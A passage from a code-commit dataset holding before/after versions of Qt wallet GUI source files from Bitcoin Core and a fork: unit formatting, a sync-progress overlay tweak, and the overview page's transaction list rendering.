n_abs \/ coin;\n    qint64 remainder = n_abs % coin;\n    QString quotient_str = QString::number(quotient);\n    QString remainder_str = QString::number(remainder).rightJustified(num_decimals, '0');\n\n    \/\/ Right-trim excess zeros after the decimal point\n    int nTrim = 0;\n    for (int i = remainder_str.size()-1; i>=2 && (remainder_str.at(i) == '0'); --i)\n        ++nTrim;\n    remainder_str.chop(nTrim);\n\n    if (n < 0)\n        quotient_str.insert(0, '-');\n    else if (fPlus && n > 0)\n        quotient_str.insert(0, '+');\n    return quotient_str + QString(\".\") + remainder_str;\n}\n\nQString BitcoinUnits::formatWithUnit(int unit, qint64 amount, bool plussign)\n{\n    return format(unit, amount, plussign) + QString(\" \") + name(unit);\n}\n\nbool BitcoinUnits::parse(int unit, const QString &value, qint64 *val_out)\n{\n    if(!valid(unit) || value.isEmpty())\n        return false; \/\/ Refuse to parse invalid unit or empty string\n    int num_decimals = decimals(unit);\n    QStringList parts = value.split(\".\");\n\n    if(parts.size() > 2)\n    {\n        return false; \/\/ More than one dot\n    }\n    QString whole = parts[0];\n    QString decimals;\n\n    if(parts.size() > 1)\n    {\n        decimals = parts[1];\n    }\n    if(decimals.size() > num_decimals)\n    {\n        return false; \/\/ Exceeds max precision\n    }\n    bool ok = false;\n    QString str = whole + decimals.leftJustified(num_decimals, '0');\n\n    if(str.size() > 18)\n    {\n        return false; \/\/ Longer numbers will exceed 63 bits\n    }\n    qint64 retvalue = str.toLongLong(&ok);\n    if(val_out)\n    {\n        *val_out = retvalue;\n    }\n    return ok;\n}\n\nint BitcoinUnits::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return unitlist.size();\n}\n\nQVariant BitcoinUnits::data(const QModelIndex &index, int role) const\n{\n    int row = index.row();\n    if(row >= 0 && row < unitlist.size())\n    {\n        Unit unit = unitlist.at(row);\n        switch(role)\n        {\n        case Qt::EditRole:\n        case Qt::DisplayRole:\n            return QVariant(name(unit));\n        case Qt::ToolTipRole:\n            return QVariant(description(unit));\n        case UnitRole:\n            return QVariant(static_cast<int>(unit));\n        }\n    }\n    return QVariant();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2016 The BitCore Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"modaloverlay.h\"\n#include \"ui_modaloverlay.h\"\n\n#include \"guiutil.h\"\n\n#include \"chainparams.h\"\n\n#include <QResizeEvent>\n#include <QPropertyAnimation>\n\nModalOverlay::ModalOverlay(QWidget *parent) :\nQWidget(parent),\nui(new Ui::ModalOverlay),\nbestHeaderHeight(0),\nbestHeaderDate(QDateTime()),\nlayerIsVisible(false),\nuserClosed(false)\n{\n    ui->setupUi(this);\n    connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(closeClicked()));\n    if (parent) {\n        parent->installEventFilter(this);\n        raise();\n    }\n\n    blockProcessTime.clear();\n    setVisible(false);\n}\n\nModalOverlay::~ModalOverlay()\n{\n    delete ui;\n}\n\nbool ModalOverlay::eventFilter(QObject * obj, QEvent * ev) {\n    if (obj == parent()) {\n        if (ev->type() == QEvent::Resize) {\n            QResizeEvent * rev = static_cast<QResizeEvent*>(ev);\n            resize(rev->size());\n            if (!layerIsVisible)\n                setGeometry(0, height(), width(), height());\n\n        }\n        else if (ev->type() == QEvent::ChildAdded) {\n            raise();\n        }\n    }\n    return QWidget::eventFilter(obj, ev);\n}\n\n\/\/! Tracks parent widget changes\nbool ModalOverlay::event(QEvent* ev) {\n    if (ev->type() == QEvent::ParentAboutToChange) {\n        if (parent()) parent()->removeEventFilter(this);\n    }\n    else if (ev->type() == QEvent::ParentChange) {\n        if (parent()) {\n            parent()->installEventFilter(this);\n            raise();\n        }\n    }\n    return QWidget::event(ev);\n}\n\nvoid ModalOverlay::setKnownBestHeight(int count, const QDateTime& blockDate)\n{\n    if (count > bestHeaderHeight) {\n        bestHeaderHeight = count;\n        bestHeaderDate = blockDate;\n    }\n}\n\nvoid ModalOverlay::tipUpdate(int count, const QDateTime& blockDate, double nVerificationProgress)\n{\n    QDateTime currentDate = QDateTime::currentDateTime();\n\n    \/\/ keep a vector of samples of verification progress at height\n    blockProcessTime.push_front(qMakePair(currentDate.toMSecsSinceEpoch(), nVerificationProgress));\n\n    \/\/ show progress speed if we have more then one sample\n    if (blockProcessTime.size() >= 2)\n    {\n        double progressStart = blockProcessTime[0].second;\n        double progressDelta = 0;\n        double progressPerHour = 0;\n        qint64 timeDelta = 0;\n        qint64 remainingMSecs = 0;\n        double remainingProgress = 1.0 - nVerificationProgress;\n        for (int i = 1; i < blockProcessTime.size(); i++)\n        {\n            QPair<qint64, double> sample = blockProcessTime[i];\n\n            \/\/ take first sample after 500 seconds or last available one\n            if (sample.first < (currentDate.toMSecsSinceEpoch() - 500 * 1000) || i == blockProcessTime.size() - 1) {\n                progressDelta = progressStart-sample.second;\n                timeDelta = blockProcessTime[0].first - sample.first;\n                progressPerHour = progressDelta\/(double)timeDelta*1000*3600;\n                remainingMSecs = remainingProgress \/ progressDelta * timeDelta;\n                break;\n            }\n        }\n        \/\/ show progress increase per hour\n        ui->progressIncreasePerH->setText(QString::number(progressPerHour*100, 'f', 2)+\"%\");\n\n        \/\/ show expected remaining time\n        ui->expectedTimeLeft->setText(GUIUtil::formatNiceTimeOffset(remainingMSecs\/1000.0));\n\n        static const int MAX_SAMPLES = 5000;\n        if (blockProcessTime.count() > MAX_SAMPLES)\n            blockProcessTime.remove(MAX_SAMPLES, blockProcessTime.count()-MAX_SAMPLES);\n    }\n\n    \/\/ show the last block date\n    ui->newestBlockDate->setText(blockDate.toString());\n\n    \/\/ show the percentage done according to nVerificationProgress\n    ui->percentageProgress->setText(QString::number(nVerificationProgress*100, 'f', 2)+\"%\");\n    ui->progressBar->setValue(nVerificationProgress*100);\n\n    if (!bestHeaderDate.isValid())\n        \/\/ not syncing\n        return;\n\n    \/\/ estimate the number of headers left based on nPowTargetSpacing\n    \/\/ and check if the gui is not aware of the the best header (happens rarely)\n    int estimateNumHeadersLeft = bestHeaderDate.secsTo(currentDate) \/ Params().GetConsensus().nPowTargetSpacing;\n    bool hasBestHeader = bestHeaderHeight >= count;\n\n    \/\/ show remaining number of blocks\n    if (estimateNumHeadersLeft < HEADER_HEIGHT_DELTA_SYNC && hasBestHeader) {\n        ui->numberOfBlocksLeft->setText(QString::number(bestHeaderHeight - count));\n    } else {\n        ui->numberOfBlocksLeft->setText(tr(\"Unknown. Syncing Headers (%1)...\").arg(bestHeaderHeight));\n        ui->expectedTimeLeft->setText(tr(\"Unknown...\"));\n    }\n}\n\nvoid ModalOverlay::toggleVisibility()\n{\n    showHide(layerIsVisible, true);\n    if (!layerIsVisible)\n        userClosed = true;\n}\n\nvoid ModalOverlay::showHide(bool hide, bool userRequested)\n{\n    if ( (layerIsVisible && !hide) || (!layerIsVisible && hide) || (!hide && userClosed && !userRequested))\n        return;\n\n    if (!isVisible() && !hide)\n        setVisible(true);\n\n    setGeometry(0, hide ? 0 : height(), width(), height());\n\n    QPropertyAnimation* animation = new QPropertyAnimation(this, \"pos\");\n    animation->setDuration(300);\n    animation->setStartValue(QPoint(0, hide ? 0 : this->height()));\n    animation->setEndValue(QPoint(0, hide ? this->height() : 0));\n    animation->setEasingCurve(QEasingCurve::OutQuad);\n    animation->start(QAbstractAnimation::DeleteWhenStopped);\n    layerIsVisible = !hide;\n}\n\nvoid ModalOverlay::closeClicked()\n{\n    showHide(true);\n    userClosed = true;\n}\n<commit_msg>performance improvements for GUI<commit_after>\/\/ Copyright (c) 2016 The BitCore Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"modaloverlay.h\"\n#include \"ui_modaloverlay.h\"\n\n#include \"guiutil.h\"\n\n#include \"chainparams.h\"\n\n#include <QResizeEvent>\n#include <QPropertyAnimation>\n\nModalOverlay::ModalOverlay(QWidget *parent) :\nQWidget(parent),\nui(new Ui::ModalOverlay),\nbestHeaderHeight(0),\nbestHeaderDate(QDateTime()),\nlayerIsVisible(false),\nuserClosed(false)\n{\n    ui->setupUi(this);\n    connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(closeClicked()));\n    if (parent) {\n        parent->installEventFilter(this);\n        raise();\n    }\n\n    blockProcessTime.clear();\n    setVisible(false);\n}\n\nModalOverlay::~ModalOverlay()\n{\n    delete ui;\n}\n\nbool ModalOverlay::eventFilter(QObject * obj, QEvent * ev) {\n    if (obj == parent()) {\n        if (ev->type() == QEvent::Resize) {\n            QResizeEvent * rev = static_cast<QResizeEvent*>(ev);\n            resize(rev->size());\n            if (!layerIsVisible)\n                setGeometry(0, height(), width(), height());\n\n        }\n        else if (ev->type() == QEvent::ChildAdded) {\n            raise();\n        }\n    }\n    return QWidget::eventFilter(obj, ev);\n}\n\n\/\/! Tracks parent widget changes\nbool ModalOverlay::event(QEvent* ev) {\n    if (ev->type() == QEvent::ParentAboutToChange) {\n        if (parent()) parent()->removeEventFilter(this);\n    }\n    else if (ev->type() == QEvent::ParentChange) {\n        if (parent()) {\n            parent()->installEventFilter(this);\n            raise();\n        }\n    }\n    return QWidget::event(ev);\n}\n\nvoid ModalOverlay::setKnownBestHeight(int count, const QDateTime& blockDate)\n{\n    if (count > bestHeaderHeight) {\n        bestHeaderHeight = count;\n        bestHeaderDate = blockDate;\n    }\n}\n\nvoid ModalOverlay::tipUpdate(int count, const QDateTime& blockDate, double nVerificationProgress)\n{\n    QDateTime currentDate = QDateTime::currentDateTime();\n    qint64 currentMilliSeconds = currentDate.toMSecsSinceEpoch(); \/\/ this caching will save user from GUI hanging, at least on MAC OS\n\n    \/\/ keep a vector of samples of verification progress at height\n    blockProcessTime.push_front(qMakePair(currentMilliSeconds, nVerificationProgress));\n\n    \/\/ show progress speed if we have more then one sample\n    if (blockProcessTime.size() >= 2)\n    {\n        double progressStart = blockProcessTime[0].second;\n        double progressDelta = 0;\n        double progressPerHour = 0;\n        qint64 timeDelta = 0;\n        qint64 remainingMSecs = 0;\n        double remainingProgress = 1.0 - nVerificationProgress;\n        for (int i = 1; i < blockProcessTime.size(); i++)\n        {\n            QPair<qint64, double> sample = blockProcessTime[i];\n\n            \/\/ take first sample after 500 seconds or last available one\n            if (sample.first < (currentMilliSeconds - 500 * 1000) || i == blockProcessTime.size() - 1) {\n                progressDelta = progressStart-sample.second;\n                timeDelta = blockProcessTime[0].first - sample.first;\n                progressPerHour = progressDelta\/(double)timeDelta*1000*3600;\n                remainingMSecs = remainingProgress \/ progressDelta * timeDelta;\n                break;\n            }\n        }\n        \/\/ show progress increase per hour\n        ui->progressIncreasePerH->setText(QString::number(progressPerHour*100, 'f', 2)+\"%\");\n\n        \/\/ show expected remaining time\n        ui->expectedTimeLeft->setText(GUIUtil::formatNiceTimeOffset(remainingMSecs\/1000.0));\n\n        static const int MAX_SAMPLES = 5000;\n        if (blockProcessTime.count() > MAX_SAMPLES)\n            blockProcessTime.remove(MAX_SAMPLES, blockProcessTime.count()-MAX_SAMPLES);\n    }\n\n    \/\/ show the last block date\n    ui->newestBlockDate->setText(blockDate.toString());\n\n    \/\/ show the percentage done according to nVerificationProgress\n    ui->percentageProgress->setText(QString::number(nVerificationProgress*100, 'f', 2)+\"%\");\n    ui->progressBar->setValue(nVerificationProgress*100);\n\n    if (!bestHeaderDate.isValid())\n        \/\/ not syncing\n        return;\n\n    \/\/ estimate the number of headers left based on nPowTargetSpacing\n    \/\/ and check if the gui is not aware of the the best header (happens rarely)\n    int estimateNumHeadersLeft = bestHeaderDate.secsTo(currentDate) \/ Params().GetConsensus().nPowTargetSpacing;\n    bool hasBestHeader = bestHeaderHeight >= count;\n\n    \/\/ show remaining number of blocks\n    if (estimateNumHeadersLeft < HEADER_HEIGHT_DELTA_SYNC && hasBestHeader) {\n        ui->numberOfBlocksLeft->setText(QString::number(bestHeaderHeight - count));\n    } else {\n        ui->numberOfBlocksLeft->setText(tr(\"Unknown. Syncing Headers (%1)...\").arg(bestHeaderHeight));\n        ui->expectedTimeLeft->setText(tr(\"Unknown...\"));\n    }\n}\n\nvoid ModalOverlay::toggleVisibility()\n{\n    showHide(layerIsVisible, true);\n    if (!layerIsVisible)\n        userClosed = true;\n}\n\nvoid ModalOverlay::showHide(bool hide, bool userRequested)\n{\n    if ( (layerIsVisible && !hide) || (!layerIsVisible && hide) || (!hide && userClosed && !userRequested))\n        return;\n\n    if (!isVisible() && !hide)\n        setVisible(true);\n\n    setGeometry(0, hide ? 0 : height(), width(), height());\n\n    QPropertyAnimation* animation = new QPropertyAnimation(this, \"pos\");\n    animation->setDuration(300);\n    animation->setStartValue(QPoint(0, hide ? 0 : this->height()));\n    animation->setEndValue(QPoint(0, hide ? this->height() : 0));\n    animation->setEasingCurve(QEasingCurve::OutQuad);\n    animation->start(QAbstractAnimation::DeleteWhenStopped);\n    layerIsVisible = !hide;\n}\n\nvoid ModalOverlay::closeClicked()\n{\n    showHide(true);\n    userClosed = true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2020 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <qt\/overviewpage.h>\n#include <qt\/forms\/ui_overviewpage.h>\n\n#include <qt\/bitcoinunits.h>\n#include <qt\/clientmodel.h>\n#include <qt\/guiconstants.h>\n#include <qt\/guiutil.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/platformstyle.h>\n#include <qt\/transactionfilterproxy.h>\n#include <qt\/transactionoverviewwidget.h>\n#include <qt\/transactiontablemodel.h>\n#include <qt\/walletmodel.h>\n\n#include <QAbstractItemDelegate>\n#include <QApplication>\n#include <QDateTime>\n#include <QPainter>\n#include <QStatusTipEvent>\n\n#include <algorithm>\n#include <map>\n\n#define DECORATION_SIZE 54\n#define NUM_ITEMS 5\n\nQ_DECLARE_METATYPE(interfaces::WalletBalances)\n\nclass TxViewDelegate : public QAbstractItemDelegate\n{\n    Q_OBJECT\npublic:\n    explicit TxViewDelegate(const PlatformStyle *_platformStyle, QObject *parent=nullptr):\n        QAbstractItemDelegate(parent), unit(BitcoinUnits::BTC),\n        platformStyle(_platformStyle)\n    {\n        connect(this, &TxViewDelegate::width_changed, this, &TxViewDelegate::sizeHintChanged);\n    }\n\n    inline void paint(QPainter *painter, const QStyleOptionViewItem &option,\n                      const QModelIndex &index ) const override\n    {\n        painter->save();\n\n        QIcon icon = qvariant_cast<QIcon>(index.data(TransactionTableModel::RawDecorationRole));\n        QRect mainRect = option.rect;\n        QRect decorationRect(mainRect.topLeft(), QSize(DECORATION_SIZE, DECORATION_SIZE));\n        int xspace = DECORATION_SIZE + 8;\n        int ypad = 6;\n        int halfheight = (mainRect.height() - 2*ypad)\/2;\n        QRect amountRect(mainRect.left() + xspace, mainRect.top()+ypad, mainRect.width() - xspace, halfheight);\n        QRect addressRect(mainRect.left() + xspace, mainRect.top()+ypad+halfheight, mainRect.width() - xspace, halfheight);\n        icon = platformStyle->SingleColorIcon(icon);\n        icon.paint(painter, decorationRect);\n\n        QDateTime date = index.data(TransactionTableModel::DateRole).toDateTime();\n        QString address = index.data(Qt::DisplayRole).toString();\n        qint64 amount = index.data(TransactionTableModel::AmountRole).toLongLong();\n        bool confirmed = index.data(TransactionTableModel::ConfirmedRole).toBool();\n        QVariant value = index.data(Qt::ForegroundRole);\n        QColor foreground = option.palette.color(QPalette::Text);\n        if(value.canConvert<QBrush>())\n        {\n            QBrush brush = qvariant_cast<QBrush>(value);\n            foreground = brush.color();\n        }\n\n        painter->setPen(foreground);\n        QRect boundingRect;\n        painter->drawText(addressRect, Qt::AlignLeft | Qt::AlignVCenter, address, &boundingRect);\n        int address_rect_min_width = boundingRect.width();\n\n        if (index.data(TransactionTableModel::WatchonlyRole).toBool())\n        {\n            QIcon iconWatchonly = qvariant_cast<QIcon>(index.data(TransactionTableModel::WatchonlyDecorationRole));\n            QRect watchonlyRect(boundingRect.right() + 5, mainRect.top()+ypad+halfheight, 16, halfheight);\n            iconWatchonly = platformStyle->TextColorIcon(iconWatchonly);\n            iconWatchonly.paint(painter, watchonlyRect);\n            address_rect_min_width += 5 + watchonlyRect.width();\n        }\n\n        if(amount < 0)\n        {\n            foreground = COLOR_NEGATIVE;\n        }\n        else if(!confirmed)\n        {\n            foreground = COLOR_UNCONFIRMED;\n        }\n        else\n        {\n            foreground = option.palette.color(QPalette::Text);\n        }\n        painter->setPen(foreground);\n        QString amountText = BitcoinUnits::formatWithUnit(unit, amount, true, BitcoinUnits::SeparatorStyle::ALWAYS);\n        if(!confirmed)\n        {\n            amountText = QString(\"[\") + amountText + QString(\"]\");\n        }\n\n        QRect amount_bounding_rect;\n        painter->drawText(amountRect, Qt::AlignRight | Qt::AlignVCenter, amountText, &amount_bounding_rect);\n\n        painter->setPen(option.palette.color(QPalette::Text));\n        QRect date_bounding_rect;\n        painter->drawText(amountRect, Qt::AlignLeft | Qt::AlignVCenter, GUIUtil::dateTimeStr(date), &date_bounding_rect);\n\n        const int minimum_width = std::max(address_rect_min_width, amount_bounding_rect.width() + date_bounding_rect.width());\n        const auto search = m_minimum_width.find(index.row());\n        if (search == m_minimum_width.end() || search->second != minimum_width) {\n            m_minimum_width[index.row()] = minimum_width;\n            Q_EMIT width_changed(index);\n        }\n\n        painter->restore();\n    }\n\n    inline QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const override\n    {\n        const auto search = m_minimum_width.find(index.row());\n        const int minimum_text_width = search == m_minimum_width.end() ? 0 : search->second;\n        return {DECORATION_SIZE + 8 + minimum_text_width, DECORATION_SIZE};\n    }\n\n    int unit;\n\nQ_SIGNALS:\n    \/\/! An intermediate signal for emitting from the `paint() const` member function.\n    void width_changed(const QModelIndex& index) const;\n\nprivate:\n    const PlatformStyle* platformStyle;\n    mutable std::map<int, int> m_minimum_width;\n};\n\n#include <qt\/overviewpage.moc>\n\nOverviewPage::OverviewPage(const PlatformStyle *platformStyle, QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::OverviewPage),\n    clientModel(nullptr),\n    walletModel(nullptr),\n    m_platform_style{platformStyle},\n    txdelegate(new TxViewDelegate(platformStyle, this))\n{\n    ui->setupUi(this);\n\n    m_balances.balance = -1;\n\n    \/\/ use a SingleColorIcon for the \"out of sync warning\" icon\n    QIcon icon = m_platform_style->SingleColorIcon(QStringLiteral(\":\/icons\/warning\"));\n    ui->labelTransactionsStatus->setIcon(icon);\n    ui->labelWalletStatus->setIcon(icon);\n\n    \/\/ Recent transactions\n    ui->listTransactions->setItemDelegate(txdelegate);\n    ui->listTransactions->setIconSize(QSize(DECORATION_SIZE, DECORATION_SIZE));\n    ui->listTransactions->setMinimumHeight(NUM_ITEMS * (DECORATION_SIZE + 2));\n    ui->listTransactions->setAttribute(Qt::WA_MacShowFocusRect, false);\n\n    connect(ui->listTransactions, &TransactionOverviewWidget::clicked, this, &OverviewPage::handleTransactionClicked);\n\n    \/\/ start with displaying the \"out of sync\" warnings\n    showOutOfSyncWarning(true);\n    connect(ui->labelWalletStatus, &QPushButton::clicked, this, &OverviewPage::outOfSyncWarningClicked);\n    connect(ui->labelTransactionsStatus, &QPushButton::clicked, this, &OverviewPage::outOfSyncWarningClicked);\n}\n\nvoid OverviewPage::handleTransactionClicked(const QModelIndex &index)\n{\n    if(filter)\n        Q_EMIT transactionClicked(filter->mapToSource(index));\n}\n\nvoid OverviewPage::setPrivacy(bool privacy)\n{\n    m_privacy = privacy;\n    if (m_balances.balance != -1) {\n        setBalance(m_balances);\n    }\n\n    ui->listTransactions->setVisible(!m_privacy);\n\n    const QString status_tip = m_privacy ? tr(\"Privacy mode activated for the Overview tab. To unmask the values, uncheck Settings->Mask values.\") : \"\";\n    setStatusTip(status_tip);\n    QStatusTipEvent event(status_tip);\n    QApplication::sendEvent(this, &event);\n}\n\nOverviewPage::~OverviewPage()\n{\n    delete ui;\n}\n\nvoid OverviewPage::setBalance(const interfaces::WalletBalances& balances)\n{\n    int unit = walletModel->getOptionsModel()->getDisplayUnit();\n    m_balances = balances;\n    if (walletModel->wallet().isLegacy()) {\n        if (walletModel->wallet().privateKeysDisabled()) {\n            ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance + balances.unconfirmed_watch_only_balance + balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        } else {\n            ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance + balances.unconfirmed_balance + balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchAvailable->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchPending->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n            ui->labelWatchTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.watch_only_balance + balances.unconfirmed_watch_only_balance + balances.immature_watch_only_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        }\n    } else {\n        ui->labelBalance->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelUnconfirmed->setText(BitcoinUnits::formatWithPrivacy(unit, balances.unconfirmed_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelImmature->setText(BitcoinUnits::formatWithPrivacy(unit, balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n        ui->labelTotal->setText(BitcoinUnits::formatWithPrivacy(unit, balances.balance + balances.unconfirmed_balance + balances.immature_balance, BitcoinUnits::SeparatorStyle::ALWAYS, m_privacy));\n    }\n    \/\/ only show immature (newly mined) balance if it's non-zero, so as not to complicate things\n    \/\/ for the non-mining users\n    bool showImmature = balances.immature_balance != 0;\n    bool showWatchOnlyImmature = balances.immature_watch_only_balance != 0;\n\n    \/\/ for symmetry reasons also show immature label when the watch-only one is shown\n    ui->labelImmature->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelImmatureText->setVisible(showImmature || showWatchOnlyImmature);\n    ui->labelWatchImmature->setVisible(!walletModel->wallet().privateKeysDisabled() && showWatchOnlyImmature); \/\/ show watch-only immature balance\n}\n\n\/\/ show\/hide watch-only labels\nvoid OverviewPage::updateWatchOnlyLabels(bool showWatchOnly)\n{\n    ui->labelSpendable->setVisible(showWatchOnly);      \/\/ show spendable label (only when watch-only is active)\n    ui->labelWatchonly->setVisible(showWatchOnly);      \/\/ show watch-only label\n    ui->lineWatchBalance->setVisible(showWatchOnly);    \/\/ show watch-only balance separator line\n    ui->labelWatchAvailable->setVisible(showWatchOnly); \/\/ show watch-only available balance\n    ui->labelWatchPending->setVisible(showWatchOnly);   \/\/ show watch-only pending balance\n    ui->labelWatchTotal->setVisible(showWatchOnly);     \/\/ show watch-only total balance\n\n    if (!showWatchOnly)\n        ui->labelWatchImmature->hide();\n}\n\nvoid OverviewPage::setClientModel(ClientModel *model)\n{\n    this->clientModel = model;\n    if (model) {\n        \/\/ Show warning, for example if this is a prerelease version\n        connect(model, &ClientModel::alertsChanged, this, &OverviewPage::updateAlerts);\n        updateAlerts(model->getStatusBarWarnings());\n\n        connect(model->getOptionsModel(), &OptionsModel::useEmbeddedMonospacedFontChanged, this, &OverviewPage::setMonospacedFont);\n        setMonospacedFont(model->getOptionsModel()->getUseEmbeddedMonospacedFont());\n    }\n}\n\nvoid OverviewPage::setWalletModel(WalletModel *model)\n{\n    this->walletModel = model;\n    if(model && model->getOptionsModel())\n    {\n        \/\/ Set up transaction list\n        filter.reset(new TransactionFilterProxy());\n        filter->setSourceModel(model->getTransactionTableModel());\n        filter->setLimit(NUM_ITEMS);\n        filter->setDynamicSortFilter(true);\n        filter->setSortRole(Qt::EditRole);\n        filter->setShowInactive(false);\n        filter->sort(TransactionTableModel::Date, Qt::DescendingOrder);\n\n        ui->listTransactions->setModel(filter.get());\n        ui->listTransactions->setModelColumn(TransactionTableModel::ToAddress);\n\n        \/\/ Keep up to date with wallet\n        interfaces::Wallet& wallet = model->wallet();\n        interfaces::WalletBalances balances = wallet.getBalances();\n        setBalance(balances);\n        connect(model, &WalletModel::balanceChanged, this, &OverviewPage::setBalance);\n\n        connect(model->getOptionsModel(), &OptionsModel::displayUnitChanged, this, &OverviewPage::updateDisplayUnit);\n\n        updateWatchOnlyLabels(wallet.haveWatchOnly() && !model->wallet().privateKeysDisabled());\n        connect(model, &WalletModel::notifyWatchonlyChanged, [this](bool showWatchOnly) {\n            updateWatchOnlyLabels(showWatchOnly && !walletModel->wallet().privateKeysDisabled());\n        });\n    }\n\n    \/\/ update the display unit, to not use the default (\"BTC\")\n    updateDisplayUnit();\n}\n\nvoid OverviewPage::changeEvent(QEvent* e)\n{\n#ifdef Q_OS_MACOS\n    if (e->type() == QEvent::PaletteChange) {\n        QIcon icon = m_platform_style->SingleColorIcon(QStringLiteral(\":\/icons\/warning\"));\n        ui->labelTransactionsStatus->setIcon(icon);\n        ui->labelWalletStatus->setIcon(icon);\n    }\n#endif\n}\n\nvoid OverviewPage::updateDisplayUnit()\n{\n    if(walletModel && walletModel->getOptionsModel())\n    {\n        if (m_balances.balance != -1) {\n            setBalance(m_balances);\n        }\n\n        \/\/ Update txdelegate->unit with the current unit\n        txdelegate->unit = walletModel->getOptionsModel()->getDisplayUnit();\n\n        ui->listTransactions->update();\n    }\n}\n\nvoid OverviewPage::updateAlerts(const QString &warnings)\n{\n    this->ui->labelAlerts->setVisible(!warnings.isEmpty());\n    this->ui->labelAlerts->setText(warnings);\n}\n\nvoid OverviewPage::showOutOfSyncWarning(bool fShow)\n{\n    ui->labelWalletStatus->setVisible(fShow);\n    ui->labelTransactionsStatus->setVisible(fShow);\n}\n\nvoid OverviewPage::setMonospacedFont(bool use_embedded_font)\n{\n    QFont f = GUIUtil::fixedPitchFont(use_embedded_font);\n    f.setWeight(QFont::Bold);\n    ui->labelBalance->setFont(f);\n    ui->labelUnconfirmed->setFont(f);\n    ui->labelImmature->setFont(f);\n    ui->labelTotal->setFont(f);\n    ui->labelWatchAvailable->setFont(f);\n    ui->labelWatchPending->setFont(f);\n    ui->labelWatchImmature->setFont(f);\n    ui->labelWatchTotal->setFont(f);\n}\n<commit_msg>qt: Do not extend recent transaction width to address\/label string<commit_after>\/\/ Copyright (c) 2011-2020 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <qt\/overviewpage.h>\n#include <qt\/forms\/ui_overviewpage.h>\n\n#include <qt\/bitcoinunits.h>\n#include <qt\/clientmodel.h>\n#include <qt\/guiconstants.h>\n#include <qt\/guiutil.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/platformstyle.h>\n#include <qt\/transactionfilterproxy.h>\n#include <qt\/transactionoverviewwidget.h>\n#include <qt\/transactiontablemodel.h>\n#include <qt\/walletmodel.h>\n\n#include <QAbstractItemDelegate>\n#include <QApplication>\n#include <QDateTime>\n#include <QPainter>\n#include <QStatusTipEvent>\n\n#include <algorithm>\n#include <map>\n\n#define DECORATION_SIZE 54\n#define NUM_ITEMS 5\n\nQ_DECLARE_METATYPE(interfaces::WalletBalances)\n\nclass TxViewDelegate : public QAbstractItemDelegate\n{\n    Q_OBJECT\npublic:\n    explicit TxViewDelegate(const PlatformStyle *_platformStyle, QObject *parent=nullptr):\n        QAbstractItemDelegate(parent), unit(BitcoinUnits::BTC),\n        platformStyle(_platformStyle)\n    {\n        connect(this, &TxViewDelegate::width_changed, this, &TxViewDelegate::sizeHintChanged);\n    }\n\n    inline void paint(QPainter *painter, const QStyleOptionViewItem &option,\n                      const QModelIndex &index ) const override\n    {\n        painter->save();\n\n        QIcon icon = qvariant_cast<QIcon>(index.data(TransactionTableModel::RawDecorationRole));\n        QRect mainRect = option.rect;\n        QRect decorationRect(mainRect.topLeft(), QSize(DECORATION_SIZE, DECORATION_SIZE));\n        int xspace = DECORATION_SIZE + 8;\n        int ypad = 6;\n        int halfheight = (mainRect.height() - 2*ypad)\/2;\n        QRect amountRect(mainRect.left() + xspace, mainRect.top()+ypad, mainRect.width() - xspace, halfheight);\n        QRect addressRect(mainRect.left() + xspace, 